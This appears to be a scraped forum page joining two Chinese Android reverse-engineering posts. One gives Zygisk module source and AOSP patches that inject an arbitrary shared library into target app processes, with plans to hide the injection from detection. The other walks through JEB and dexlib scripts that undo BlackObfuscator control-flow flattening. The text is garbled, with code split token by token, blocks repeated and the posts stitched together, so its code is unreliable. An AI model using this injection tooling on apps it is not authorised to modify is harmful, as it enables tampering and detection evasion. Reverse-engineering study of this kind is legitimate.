移动so到/data/local/tmp目录下 命名为test.so
享受注入!
插件so源码:
注入效果:
http://aospxref.com/android-12.0.0_r3/xref/bionic/libdl/libdl.cpp
之后调用
之后调用
来到真正的dlopen加载的地方
这里就是对so的各个段的装载,我们目光聚焦于结尾的部分
在这个函数里有:
对DT_INIT和DT_INIT_ARRAY的调用
所以我们dlopen如果成功打开了so,就会对这两个地方调用
所以说插件的入口可以选择在这两个段里 attribute((constructor))
这里我通过修改源码去注入so,so注入的时机我开始的选择是越早越好。
这里选在在handleBindApplication处,创建ContextImpl对象时进行一系列的复制注入操作。
我们流程选择先将需要注入的so放到sd卡目录下,然后判断app为非系统app时进行复制到app目录,注入app等一系列操作。 我们找到源码,目录AOSP/frameworks/base/core/java/android/app/ActivityThread.java,
找到handleBindApplication,定位到”final ContextImpl appContext = ContextImpl.createAppContext(this, data.info);”这一行。
开始加入我们自己的代码:
和上面的实现一样,就是copyso 然后使用system.load即可加载
网上有很多实现,还可以自定义selinux标签,配合系统服务和配套app达到自定义注入
如果文章反响还不错,我会继续更新一些frida、xposed分析不了的app(被反调试block掉的)
来进一步加深大家对这个框架的使用。
增加第二种注入方式:将插件so打包到框架里,隐藏落地文件的特征。
通过借鉴Riru的注入方式,隐藏注入(对一些厂商管用)
进一步研究完美隐藏方式
项目地址:
https://github.com/jiqiu2022/Zygisk-MyInjector
附件注入的包名已经固定,需要自己编译
static {
try
{
\\n
String soName;
\\n
if
(Process.is64Bit()) {
\\n
soName
=
path
/
to
/
lib64;
\\n
}
else
{
\\n
soName
=
path
/
to
/
lib32;
\\n
}
\\n
System.loadLibrary(soName);
\\n
} catch (Throwable e) {
\\n
CLog.e(
\\"static loadLibrary error\\"
, e);
\\n
}
\\n}
static {
try
{
\\n
String soName;
\\n
if
(Process.is64Bit()) {
\\n
soName
=
path
/
to
/
lib64;
\\n
}
else
{
\\n
soName
=
path
/
to
/
lib32;
\\n
}
\\n
System.loadLibrary(soName);
\\n
} catch (Throwable e) {
\\n
CLog.e(
\\"static loadLibrary error\\"
, e);
\\n
}
\\n}
class
ModuleBase {
\\npublic:
/
/
这个方法在模块被加载到目标进程时立即被调用。
\\n
/
/
会传递一个 Zygisk API 句柄作为参数。
\\n
virtual void onLoad([[maybe_unused]] Api
*
api, [[maybe_unused]] JNIEnv
*
env) {}
\\n
/
/
这个方法在应用进程被专门化之前被调用。
\\n
/
/
在这个时候,进程刚刚从 zygote 进程中分叉出来,但尚未应用任何特定于应用的专门化。
\\n
/
/
这意味着进程没有任何沙箱限制,并且仍然以 zygote 的相同权限运行。
\\n
/
/
\\n
/
/
所有将要传递并用于应用程序专门化的参数都被封装在一个 AppSpecializeArgs 对象中。
\\n
/
/
您可以读取和覆盖这些参数,以改变应用程序进程的专门化方式。
\\n
/
/
\\n
/
/
如果您需要以超级用户权限运行一些操作,可以调用 Api::connectCompanion() 来
\\n
/
/
获取一个套接字,用于与根陪伴进程进行 IPC 调用。
\\n
/
/
请参阅 Api::connectCompanion() 以获取更多信息。
\\n
virtual void preAppSpecialize([[maybe_unused]] AppSpecializeArgs
*
args) {}
\\n
/
/
这个方法在应用进程专门化之后被调用。
\\n
/
/
在这个时候,进程已经应用了所有沙箱限制,并以应用自身代码的权限运行。
\\n
virtual void postAppSpecialize([[maybe_unused]] const AppSpecializeArgs
*
args) {}
\\n
/
/
这个方法在系统服务器进程被专门化之前被调用。
\\n
/
/
请参阅 preAppSpecialize(args) 以获取更多信息。
\\n
virtual void preServerSpecialize([[maybe_unused]] ServerSpecializeArgs
*
args) {}
\\n
/
/
这个方法在系统服务器进程专门化之后被调用。
\\n
/
/
在这个时候,进程以 system_server 的权限运行。
\\n
virtual void postServerSpecialize([[maybe_unused]] const ServerSpecializeArgs
*
args) {}
\\n};
class
ModuleBase {
\\npublic:
/
/
这个方法在模块被加载到目标进程时立即被调用。
\\n
/
/
会传递一个 Zygisk API 句柄作为参数。
\\n
virtual void onLoad([[maybe_unused]] Api
*
api, [[maybe_unused]] JNIEnv
*
env) {}
\\n
/
/
这个方法在应用进程被专门化之前被调用。
\\n
/
/
在这个时候,进程刚刚从 zygote 进程中分叉出来,但尚未应用任何特定于应用的专门化。
\\n
/
/
这意味着进程没有任何沙箱限制,并且仍然以 zygote 的相同权限运行。
\\n
/
/
\\n
/
/
所有将要传递并用于应用程序专门化的参数都被封装在一个 AppSpecializeArgs 对象中。
\\n
/
/
您可以读取和覆盖这些参数,以改变应用程序进程的专门化方式。
\\n
/
/
\\n
/
/
如果您需要以超级用户权限运行一些操作,可以调用 Api::connectCompanion() 来
\\n
/
/
获取一个套接字,用于与根陪伴进程进行 IPC 调用。
\\n
/
/
请参阅 Api::connectCompanion() 以获取更多信息。
\\n
virtual void preAppSpecialize([[maybe_unused]] AppSpecializeArgs
*
args) {}
\\n
/
/
这个方法在应用进程专门化之后被调用。
\\n
/
/
在这个时候,进程已经应用了所有沙箱限制,并以应用自身代码的权限运行。
\\n
virtual void postAppSpecialize([[maybe_unused]] const AppSpecializeArgs
*
args) {}
\\n
/
/
这个方法在系统服务器进程被专门化之前被调用。
\\n
/
/
请参阅 preAppSpecialize(args) 以获取更多信息。
\\n
virtual void preServerSpecialize([[maybe_unused]] ServerSpecializeArgs
*
args) {}
\\n
/
/
这个方法在系统服务器进程专门化之后被调用。
\\n
/
/
在这个时候,进程以 system_server 的权限运行。
\\n
virtual void postServerSpecialize([[maybe_unused]] const ServerSpecializeArgs
*
args) {}
\\n};
#include <cstring>
#include <thread>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <cinttypes>
#include \\"hack.h\\"
#include \\"zygisk.hpp\\"
#include \\"game.h\\"
#include \\"log.h\\"
#include \\"dlfcn.h\\"
using zygisk::Api;
using zygisk::AppSpecializeArgs;
using zygisk::ServerSpecializeArgs;
class
MyModule : public zygisk::ModuleBase {
\\npublic:
void onLoad(Api
*
api, JNIEnv
*
env) override {
\\n
this
-
>api
=
api;
\\n
this
-
>env
=
env;
\\n
}
\\n
void preAppSpecialize(AppSpecializeArgs
*
args) override {
\\n
auto package_name
=
env
-
>GetStringUTFChars(args
-
>nice_name, nullptr);
\\n
auto app_data_dir
=
env
-
>GetStringUTFChars(args
-
>app_data_dir, nullptr);
\\n
LOGI(
\\"preAppSpecialize %s %s\\"
, package_name, app_data_dir);
\\n
preSpecialize(package_name, app_data_dir);
\\n
env
-
>ReleaseStringUTFChars(args
-
>nice_name, package_name);
\\n
env
-
>ReleaseStringUTFChars(args
-
>app_data_dir, app_data_dir);
\\n
}
\\n
void postAppSpecialize(const AppSpecializeArgs
*
) override {
\\n
if
(enable_hack) {
\\n
std::thread hack_thread(hack_prepare, _data_dir, data, length);
\\n
hack_thread.detach();
\\n
}
\\n
}
\\nprivate:
Api
*
api;
\\n
JNIEnv
*
env;
\\n
bool
enable_hack;
\\n
char
*
_data_dir;
\\n
void
*
data;
\\n
size_t length;
\\n
void preSpecialize(const char
*
package_name, const char
*
app_data_dir) {
\\n
if
(strcmp(package_name, AimPackageName)
=
=
0
) {
\\n
LOGI(
\\"成功注入目标进程: %s\\"
, package_name);
\\n
enable_hack
=
true;
\\n
_data_dir
=
new char[strlen(app_data_dir)
+
1
];
\\n
strcpy(_data_dir, app_data_dir);
\\n#if defined(__i386__)
auto path
=
\\"zygisk/armeabi-v7a.so\\"
;
\\n#endif
#if defined(__x86_64__)
auto path
=
\\"zygisk/arm64-v8a.so\\"
;
\\n#endif
#if defined(__i386__) || defined(__x86_64__)
int
dirfd
=
api
-
>getModuleDir();
\\n
int
fd
=
openat(dirfd, path, O_RDONLY);
\\n
if
(fd !
=
-
1
) {
\\n
struct stat sb{};
\\n
fstat(fd, &sb);
\\n
length
=
sb.st_size;
\\n
data
=
mmap(nullptr, length, PROT_READ, MAP_PRIVATE, fd,
0
);
\\n
close(fd);
\\n
}
else
{
\\n
LOGW(
\\"Unable to open arm file\\"
);
\\n
}
\\n#endif
}
else
{
\\n
api
-
>setOption(zygisk::Option::DLCLOSE_MODULE_LIBRARY);
\\n
}
\\n
}
\\n};
REGISTER_ZYGISK_MODULE(MyModule)
#include <cstring>
#include <thread>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <cinttypes>
#include \\"hack.h\\"
#include \\"zygisk.hpp\\"
#include \\"game.h\\"
#include \\"log.h\\"
#include \\"dlfcn.h\\"
using zygisk::Api;
using zygisk::AppSpecializeArgs;
using zygisk::ServerSpecializeArgs;
class
MyModule : public zygisk::ModuleBase {
\\npublic:
void onLoad(Api
*
api, JNIEnv
*
env) override {
\\n
this
-
>api
=
api;
\\n
this
-
>env
=
env;
\\n
}
\\n
void preAppSpecialize(AppSpecializeArgs
*
args) override {
\\n
auto package_name
=
env
-
>GetStringUTFChars(args
-
>nice_name, nullptr);
\\n
auto app_data_dir
=
env
-
>GetStringUTFChars(args
-
>app_data_dir, nullptr);
\\n
LOGI(
\\"preAppSpecialize %s %s\\"
, package_name, app_data_dir);
\\n
preSpecialize(package_name, app_data_dir);
\\n
env
-
>ReleaseStringUTFChars(args
-
>nice_name, package_name);
\\n
env
-
>ReleaseStringUTFChars(args
-
>app_data_dir, app_data_dir);
\\n
}
\\n
void postAppSpecialize(const AppSpecializeArgs
*
) override {
\\n
if
(enable_hack) {
\\n
std::thread hack_thread(hack_prepare, _data_dir, data, length);
\\n
hack_thread.detach();
\\n
}
\\n
}
\\nprivate:
Api
*
api;
\\n
JNIEnv
*
env;
\\n
bool
enable_hack;
\\n
char
*
_data_dir;
\\n
void
*
data;
\\n
size_t length;
\\n
void preSpecialize(const char
*
package_name, const char
*
app_data_dir) {
\\n
if
(strcmp(package_name, AimPackageName)
=
=
0
) {
\\n
LOGI(
\\"成功注入目标进程: %s\\"
, package_name);
\\n
enable_hack
=
true;
\\n
_data_dir
=
new char[strlen(app_data_dir)
+
1
];
\\n
strcpy(_data_dir, app_data_dir);
\\n#if defined(__i386__)
auto path
=
\\"zygisk/armeabi-v7a.so\\"
;
\\n#endif
#if defined(__x86_64__)
auto path
=
\\"zygisk/arm64-v8a.so\\"
;
\\n#endif
#if defined(__i386__) || defined(__x86_64__)
int
dirfd
=
api
-
>getModuleDir();
\\n
int
fd
=
openat(dirfd, path, O_RDONLY);
\\n
if
(fd !
=
-
1
) {
\\n
struct stat sb{};
\\n
fstat(fd, &sb);
\\n
length
=
sb.st_size;
\\n
data
=
mmap(nullptr, length, PROT_READ, MAP_PRIVATE, fd,
0
);
\\n
close(fd);
\\n
}
else
{
\\n
LOGW(
\\"Unable to open arm file\\"
);
\\n
}
\\n#endif
}
else
{
\\n
api
-
>setOption(zygisk::Option::DLCLOSE_MODULE_LIBRARY);
\\n
}
\\n
}
\\n};
REGISTER_ZYGISK_MODULE(MyModule)
void preAppSpecialize(AppSpecializeArgs
*
args) override {
\\n
auto package_name
=
env
-
>GetStringUTFChars(args
-
>nice_name, nullptr);
\\n
auto app_data_dir
=
env
-
>GetStringUTFChars(args
-
>app_data_dir, nullptr);
\\n
LOGI(
\\"preAppSpecialize %s %s\\"
, package_name, app_data_dir);
\\n
preSpecialize(package_name, app_data_dir);
\\n
env
-
>ReleaseStringUTFChars(args
-
>nice_name, package_name);
\\n
env
-
>ReleaseStringUTFChars(args
-
>app_data_dir, app_data_dir);
\\n
}
\\nvoid preAppSpecialize(AppSpecializeArgs
*
args) override {
\\n
auto package_name
=
env
-
>GetStringUTFChars(args
-
>nice_name, nullptr);
\\n
auto app_data_dir
=
env
-
>GetStringUTFChars(args
-
>app_data_dir, nullptr);
\\n
LOGI(
\\"preAppSpecialize %s %s\\"
, package_name, app_data_dir);
\\n
preSpecialize(package_name, app_data_dir);
\\n
env
-
>ReleaseStringUTFChars(args
-
>nice_name, package_name);
\\n
env
-
>ReleaseStringUTFChars(args
-
>app_data_dir, app_data_dir);
\\n
}
\\nif
(strcmp(package_name, AimPackageName)
=
=
0
) {
\\n
LOGI(
\\"成功注入目标进程: %s\\"
, package_name);
\\n
enable_hack
=
true;
\\n
_data_dir
=
new char[strlen(app_data_dir)
+
1
];
\\n
strcpy(_data_dir, app_data_dir);
\\nif
(strcmp(package_name, AimPackageName)
=
=
0
) {
\\n
LOGI(
\\"成功注入目标进程: %s\\"
, package_name);
\\n
enable_hack
=
true;
\\n
_data_dir
=
new char[strlen(app_data_dir)
+
1
];
\\n
strcpy(_data_dir, app_data_dir);
\\nvoid hack_start(const char
*
game_data_dir,JavaVM
*
vm) {
\\n
bool
load
=
false;
\\n
LOGI(
\\"hack_start %s\\"
, game_data_dir);
\\n
/
/
构建新文件路径
\\n
char new_so_path[
256
];
\\n
snprintf(new_so_path, sizeof(new_so_path),
\\"%s/files/%s.so\\"
, game_data_dir,
\\"test\\"
);
\\n
/
/
复制
/
sdcard
/
test.so 到 game_data_dir 并重命名
\\n
const char
*
src_path
=
\\"/data/local/tmp/test.so\\"
;
\\n
int
src_fd
=
open
(src_path, O_RDONLY);
\\n
if
(src_fd <
0
) {
\\n
LOGE(
\\"Failed to open %s: %s (errno: %d)\\"
, src_path, strerror(errno), errno);
\\n
return
;
\\n
}
\\n
int
dest_fd
=
open
(new_so_path, O_WRONLY | O_CREAT | O_TRUNC,
0644
);
\\n
if
(dest_fd <
0
) {
\\n
LOGE(
\\"Failed to open %s\\"
, new_so_path);
\\n
close(src_fd);
\\n
return
;
\\n
}
\\n
/
/
复制文件内容
\\n
char
buffer
[
4096
];
\\n
ssize_t bytes;
\\n
while
((bytes
=
read(src_fd,
buffer
, sizeof(
buffer
))) >
0
) {
\\n
if
(write(dest_fd,
buffer
, bytes) !
=
bytes) {
\\n
LOGE(
\\"Failed to write to %s\\"
, new_so_path);
\\n
close(src_fd);
\\n
close(dest_fd);
\\n
return
;
\\n
}
\\n
}
\\n
close(src_fd);
\\n
close(dest_fd);
\\n
if
(chmod(new_so_path,
0755
) !
=
0
) {
\\n
LOGE(
\\"Failed to change permissions on %s: %s (errno: %d)\\"
, new_so_path, strerror(errno), errno);
\\n
return
;
\\n
}
else
{
\\n
LOGI(
\\"Successfully changed permissions to 755 on %s\\"
, new_so_path);
\\n
}
\\n
void
*
handle;
\\n
/
/
使用 xdl_open 打开新复制的 so 文件
\\n
for
(
int
i
=
0
; i <
10
; i
+
+
) {
\\n/
/
void
*
handle
=
xdl_open(new_so_path,
0
);
\\n
handle
=
dlopen(new_so_path, RTLD_NOW | RTLD_LOCAL);
\\n
if
(handle) {
\\n
LOGI(
\\"Successfully loaded %s\\"
, new_so_path);
\\n
load
=
true;
\\n
break
;
\\n
}
else
{
\\n
LOGE(
\\"Failed to load %s: %s\\"
, new_so_path, dlerror());
\\n
sleep(
1
);
\\n
}
\\n
}
\\n
if
(!load) {
\\n
LOGI(
\\"test.so not found in thread %d\\"
, gettid());
\\n
}
\\n
void (
*
JNI_OnLoad)(JavaVM
*
, void
*
);
\\n
*
(void
*
*
) (&JNI_OnLoad)
=
dlsym(handle,
\\"JNI_OnLoad\\"
);
\\n
if
(JNI_OnLoad) {
\\n
LOGI(
\\"JNI_OnLoad symbol found, calling JNI_OnLoad.\\"
);
\\n
JNI_OnLoad(vm, NULL);
\\n
}
else
{
\\n
LOGE(
\\"JNI_OnLoad symbol not found in %s\\"
, new_so_path);
\\n
}
\\n}
void hack_start(const char
*
game_data_dir,JavaVM
*
vm) {
\\n
bool
load
=
false;
\\n
LOGI(
\\"hack_start %s\\"
, game_data_dir);
\\n
/
/
构建新文件路径
\\n
char new_so_path[
256
];
\\n
snprintf(new_so_path, sizeof(new_so_path),
\\"%s/files/%s.so\\"
, game_data_dir,
\\"test\\"
);
\\n
/
/
复制
/
sdcard
/
test.so 到 game_data_dir 并重命名
\\n
const char
*
src_path
=
\\"/data/local/tmp/test.so\\"
;
\\n
int
src_fd
=
open
(src_path, O_RDONLY);
\\n
if
(src_fd <
0
) {
\\n
LOGE(
\\"Failed to open %s: %s (errno: %d)\\"
, src_path, strerror(errno), errno);
\\n
return
;
\\n
}
\\n
int
dest_fd
=
open
(new_so_path, O_WRONLY | O_CREAT | O_TRUNC,
0644
);
\\n
if
(dest_fd <
0
) {
\\n
LOGE(
\\"Failed to open %s\\"
, new_so_path);
\\n
close(src_fd);
\\n
return
;
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n在一些CTF以及某些检测环境的APP中,在Java层会出现一种很奇怪的混淆,经过熊仔哥(看雪ID:白熊)的指点,这种混淆是一种开源的混淆方案,最早我是使用trace smali的方式解决掉的,不过最近有一场ctf比赛,这个混淆又出现了,并且有大佬给出了新的思路,以此契机我开始学习了Java层混淆对抗的路子,并开发出了几个脚本。感谢与我一起写反混淆脚本的实习生,我们一起完善解决了这个方案与脚本。
Jadx-GUi
GDA
JEB
由于每种反编译器的反编译效果不同,表现出的伪代码形式也为不同。
我们选择JEB来进行主力分析工具,因为JEB自带有一些神奇魔法,能帮我们做很多的事情。
https://bbs.kanxue.com/thread-278648.htm
在oacia大佬的帖子里,jeb直接去除掉了控制流平坦化
但是又是什么神奇魔法让jeb的这种自动反混淆的能力失效了呢,让我来带你详细分析。
jeb官方支持反控制流平坦化的文档
https://www.pnfsoftware.com/blog/control-flow-unflattening-in-the-wild/
如果jeb帮我们完成了处理,那么在函数的头部会留下一些注释。
首先,打开自动重命名工具,将奇怪的字符串重新命名,增强阅读体验
我认为百分之20即可完美去除垃圾字符串(正因为不好看,所以好识别)
点击确定即可重新命名,获得一个比较好的阅读体验。
首先我们先摘出来一段控制流平坦化,分析其为什么不能自动反控制流平坦化
在switch(v1) v1如果全部都是已知数值的情况下,jeb可以直接反控制流平坦化
让我们看看是什么影响了v1的值
通过查看发现,有两种方式影响了v1的赋值,让我们点进去看一下
第一种形式:
第二种形式:
当我们解决这两种混淆方式以后,jeb大哥会直接反混淆成功。
由于静态变量不是定植,在其他的地方可能被引用并修改,jeb理解这个值可能发生变化,所以不进行优化。
熟悉混淆的小伙伴可能脑子里立马迸发出一个想法:
这不就是bcf吗? 通过全局变量的不透明谓词来干扰执行流程
让我们分析这个变量在后续有没有修改?
发现只有获取,并没有修改的形式。
那么我们该如何解决呢?其实非常简单。
https://bbs.kanxue.com/thread-257213.htm
参考葫芦娃大佬的帖子,我们可以改个标题了
JEB: 十步杀一人,两步秒BlackObfuscator
参考大佬的思路,我们可以把这个字段的权限从读写,改为只读
我们如何将这个字段变为只读字段呢?
熟悉java的朋友应该知道,final加入后只能读就不能写了
我们来观察一下这个字段获取的语句:
那么我们就可以引出第二种修改方式,将sget语句patch为const语句,也可以让我们的jeb直接意识到,这个是不可变的。
关键的语句:
const-string v0, \\"\\\\u06E7\\\\u06E6\\\\u06E0\\" 定义了一个固定的字符串 赋值给v0寄存器
invoke-static CLS5547->MTH27577(Object)I, v0 调用静态方法,v0参数传入这个函数
000003F8 move-result v0 将结果放回v0寄存器(这里和上面两句使用的寄存器的一般一致,但是我在后面还是处理了)
调用的函数非常简单,就是取一个字符串的hashcode
众所周知,在字符串不变的情况下,hashcode也是不会变的,下面给出算法
第二种方式又是用一种巧妙的方法骗过了我们的jeb老大哥
如何解决?
查找所有静态调用的方法,查看方法体是否调用了hashcode(如果更快我觉得可以收集opcode特征打一个md5,但是没必要),如果是,手动计算hashcode,并patch回原来的调用处。
为了给原来的smali方法体擦干净屁股,我们需要将三条smali指令替换为一条。
也就是把
替换为const v0,计算后的hashcode
这个部分更多的是引出两种去混淆方案的形式,为第二篇AST解混淆做出预告
最早我使用的方案是使用jeb脚本的方式来修改,当然幻想是美好的,实际却是残酷的。
在这里我想引入两种概念,借用看雪另外一位大佬(https://bbs.kanxue.com/homepage-760871.htm)的两个帖子来带大家领略这两个反混淆的概念。
https://bbs.kanxue.com/thread-263011.htm
https://bbs.kanxue.com/thread-263012.htm(选看,本帖没用上)
下面我们开始讲如何用jeb。实现第一种形式的patch**(没有成功实现,大佬选看,只是记录踩坑过程)**
第一种想法,找到sget指令,获取到sget操作的字段,patch回去
尴尬的来了,找了半天jeb文档,没有相关写入方法。(有大佬有写入方法的话带带,我能写出jeb脚本)
insn是属于IDalvikInstruction
类下面的
我们打开jeb文档
我们可以看到各种get方法,
也许可以拿到offset和offsetend 在针对性patch,但是我没有考虑这种方式。
总的来说,通过DEX字节码层面可以拿到所有我能拿到的信息,但是并没有一个方法来设置。
大体思路就是先拿到DEX模块,进一步拿到所有method,在拿到所有基本块,遍历所有基本块里的指令,如果遇到sget,则找到sget获取的Filed,然后修改sget这个指令。
也可以另外一种思路,收集所有静态字段,然后查找引用的地方,再去以字节码层面patch
同时也可以收集所有静态字段,拿到静态字段的权限,进行过滤,然后修改为只读(JEB可以拿到确切的权限,但是没法修改) 拿到权限那段代码我丢了,我后续会补上
既然jeb不能满足我们的需求,我们可以采用dex2lib这个库来进行反混淆操作。
首先先实现方案1,将所有静态字段增加final属性
很多读者有疑问,为什么hashcode没有解析也可以识别了,我的答案是jeb牛逼。
当然我也针对了hashcode写了对抗的脚本,大家可以当demo参考。
运行结果:
第三个思路:
收集所有sget指令,替换为const,这里涉及到一个搜索问题
第一个版本我是先拿到Feild,然后遍历所有类,找到相同的,导致速度很慢
第二个版本我先提前收集好所有Feild,然后建立一个hashmap做匹配,速度提升了不少
第一个版本:
第一个版本的搜索算法(别喷)
第二个版本:
提前收集字段
最后还原后,还有一些函数在外面调用,我准备下一篇文章讲一下具体api,然后手把手带着做一下
这个留给下一篇文章进行详细讲解然后解决,其实解决起来也非常的容易,大家可以尝试一下
坑点:app是多个dex的,有两种解决方式
第一种合并dex(我采用的)
第二种收集多个dex的静态字段,建立maps映射(朋友实现的)
我现在给出合并dex的思路和脚本(大家需要自行下载一下jar包)
提前预告:JSAST的思路都可以引入进来,做自己的反混淆插件,比如常量折叠,反控制流平坦化。
这一篇章就是基于JEB提供的一系列AST接口来实现,而且我推断官方内置的就是使用这种方式来实现的,总的来看Java层面的混淆比较难做,碍于Java字节码的机制,对于调用树恢复的程度很高。
Java层面的反混淆的对抗成本和开发成本是对等的(混淆和去混淆都用的一个库,基于dex层面做)
脚本还有一些瑕疵需要完善,近期会上传。
000003EE
const
-string v0,
\\"\\\\u06E7\\\\u06E6\\\\u06E0\\"
\\n000003F2 invoke-
static
CLS5547->MTH27577(Object)I, v0
\\n000003F8 move-result v0
000003EE
const
-string v0,
\\"\\\\u06E7\\\\u06E6\\\\u06E0\\"
\\n000003F2 invoke-
static
CLS5547->MTH27577(Object)I, v0
\\n000003F8 move-result v0
public
int
hashCode() {
\\n
int
h = hash;
\\n
if
(h ==
0
&& value.length >
0
) {
\\n
char
val[] = value;
\\n
for
(
int
i =
0
; i < value.length; i++) {
\\n
h =
31
* h + val[i];
\\n
}
\\n
hash = h;
\\n
}
\\n
return
h;
\\n
}
\\npublic
int
hashCode() {
\\n
int
h = hash;
\\n
if
(h ==
0
&& value.length >
0
) {
\\n
char
val[] = value;
\\n
for
(
int
i =
0
; i < value.length; i++) {
\\n
h =
31
* h + val[i];
\\n
}
\\n
hash = h;
\\n
}
\\n
return
h;
\\n
}
\\n000003EE
const
-string v0,
\\"\\\\u06E7\\\\u06E6\\\\u06E0\\"
\\n000003F2 invoke-
static
CLS5547->MTH27577(Object)I, v0
\\n000003F8 move-result v0
000003EE
const
-string v0,
\\"\\\\u06E7\\\\u06E6\\\\u06E0\\"
\\n000003F2 invoke-
static
CLS5547->MTH27577(Object)I, v0
\\n000003F8 move-result v0
DEX字节码层面(IDexUnit部件)
(
1
)访问DEX与Class
\\n(
2
)遍历Field / Method
\\n(
3
)访问某个Method
\\n(
4
)访问指令
\\n(
5
)访问基本块
\\n(
6
)访问控制流数据流
\\nDEX字节码层面(IDexUnit部件)
(
1
)访问DEX与Class
\\n(
2
)遍历Field / Method
\\n(
3
)访问某个Method
\\n(
4
)访问指令
\\n(
5
)访问基本块
\\n(
6
)访问控制流数据流
\\n# -*- coding: UTF-
8
-*-
\\nfrom com.pnfsoftware.jeb.client.api
import
IScript
\\nfrom com.pnfsoftware.jeb.core.units
import
UnitUtil
\\nfrom com.pnfsoftware.jeb.core.units.code.android
import
IDexUnit
\\nfrom com.pnfsoftware.jeb.core.units.code.android.dex
import
IDexClass
\\nfrom com.pnfsoftware.jeb.core.actions
import
ActionContext
\\nfrom com.pnfsoftware.jeb.core.actions
import
Actions
\\nfrom com.pnfsoftware.jeb.client.api
import
IClientContext
\\nfrom com.pnfsoftware.jeb.core
import
IRuntimeProject
\\nfrom com.pnfsoftware.jeb.core.units
import
IUnit
\\nfrom com.pnfsoftware.jeb.core.units.code
import
IFlowInformation
\\nfrom com.pnfsoftware.jeb.core.units.code.android
import
IDexUnit
\\nclass
SGetRightOperandTree(IScript):
\\n
def run(self, ctx):
\\n
prj = ctx.getMainProject();
\\n
dexUnit =prj.findUnit(IDexUnit);
\\n
# Check
if
the unit is a DEX unit
\\n
if
not isinstance(dexUnit, IDexUnit):
\\n
print(
\'The script must be run on a DEX unit.\'
)
\\n
return
\\n
# Specify the
class
name you\'re interested in
\\n
method_sign =
\'Lcom/example/bbandroid/strange;->encode([B)Ljava/lang/String;\'
\\n
method = dexUnit.getMethod(method_sign)
\\n
dexMethodData = method.getData();
\\n
dexCodeItem= dexMethodData.getCodeItem();
\\n
for
idx,insn in enumerate(dexCodeItem.getInstructions()):
\\n
if
str(insn)==
\\"sget\\"
:
\\n
print insn
\\n
print idx,
\\"(01) getCode >>> \\"
,insn.getCode() # 二进制
\\n
print idx,
\\"(02) getOpcode >>> \\"
,insn.getOpcode() # 操作码
\\n
print idx,
\\"(03) getParameters:\\"
# 指令操作数
\\n
for
a,b in enumerate(insn.getParameters()):
\\n
print
\\"<\\"
,a,
\\">\\"
,b.getType(),b.getValue()
\\n
if
len(insn.getParameters()) >
1
:
\\n
fieldRef = insn.getParameters()[
1
]
\\n
print(
\\"Field Reference: \\"
, fieldRef)
\\n
if
len(insn.getParameters()) >
1
:
\\n
fieldRef = insn.getParameters()[
1
].getValue()
\\n
field = dexUnit.getField(fieldRef)
\\n
print(field.getName())
\\n
# currentFlags = field.getAddress()
\\n
# print(
\\"currentFlags\\"
,currentFlags)
\\n
fieldData = field.getData()
\\n
print(field.getStaticInitializer())
\\n
fieldValue=field.getStaticInitializer()
\\n
#
if
field:
\\n
# 那么就patch回去
\\n
# -*- coding: UTF-
8
-*-
\\nfrom com.pnfsoftware.jeb.client.api
import
IScript
\\nfrom com.pnfsoftware.jeb.core.units
import
UnitUtil
\\nfrom com.pnfsoftware.jeb.core.units.code.android
import
IDexUnit
\\nfrom com.pnfsoftware.jeb.core.units.code.android.dex
import
IDexClass
\\nfrom com.pnfsoftware.jeb.core.actions
import
ActionContext
\\nfrom com.pnfsoftware.jeb.core.actions
import
Actions
\\nfrom com.pnfsoftware.jeb.client.api
import
IClientContext
\\nfrom com.pnfsoftware.jeb.core
import
IRuntimeProject
\\nfrom com.pnfsoftware.jeb.core.units
import
IUnit
\\nfrom com.pnfsoftware.jeb.core.units.code
import
IFlowInformation
\\nfrom com.pnfsoftware.jeb.core.units.code.android
import
IDexUnit
\\nclass
SGetRightOperandTree(IScript):
\\n
def run(self, ctx):
\\n
prj = ctx.getMainProject();
\\n
dexUnit =prj.findUnit(IDexUnit);
\\n
# Check
if
the unit is a DEX unit
\\n
if
not isinstance(dexUnit, IDexUnit):
\\n
print(
\'The script must be run on a DEX unit.\'
)
\\n
return
\\n
# Specify the
class
name you\'re interested in
\\n
method_sign =
\'Lcom/example/bbandroid/strange;->encode([B)Ljava/lang/String;\'
\\n
method = dexUnit.getMethod(method_sign)
\\n
dexMethodData = method.getData();
\\n
dexCodeItem= dexMethodData.getCodeItem();
\\n
for
idx,insn in enumerate(dexCodeItem.getInstructions()):
\\n
if
str(insn)==
\\"sget\\"
:
\\n
print insn
\\n
print idx,
\\"(01) getCode >>> \\"
,insn.getCode() # 二进制
\\n
print idx,
\\"(02) getOpcode >>> \\"
,insn.getOpcode() # 操作码
\\n
print idx,
\\"(03) getParameters:\\"
# 指令操作数
\\n
for
a,b in enumerate(insn.getParameters()):
\\n
print
\\"<\\"
,a,
\\">\\"
,b.getType(),b.getValue()
\\n
if
len(insn.getParameters()) >
1
:
\\n
fieldRef = insn.getParameters()[
1
]
\\n
print(
\\"Field Reference: \\"
, fieldRef)
\\n
if
len(insn.getParameters()) >
1
:
\\n
fieldRef = insn.getParameters()[
1
].getValue()
\\n
field = dexUnit.getField(fieldRef)
\\n
print(field.getName())
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n\\n\\n\\n\\n\\n\\n\\n","description":"在一些CTF以及某些检测环境的APP中,在Java层会出现一种很奇怪的混淆,经过熊仔哥(看雪ID:白熊)的指点,这种混淆是一种开源的混淆方案,最早我是使用trace smali的方式解决掉的,不过最近有一场ctf比赛,这个混淆又出现了,并且有大佬给出了新的思路,以此契机我开始学习了Java层混淆对抗的路子,并开发出了几个脚本。感谢与我一起写反混淆脚本的实习生,我们一起完善解决了这个方案与脚本。 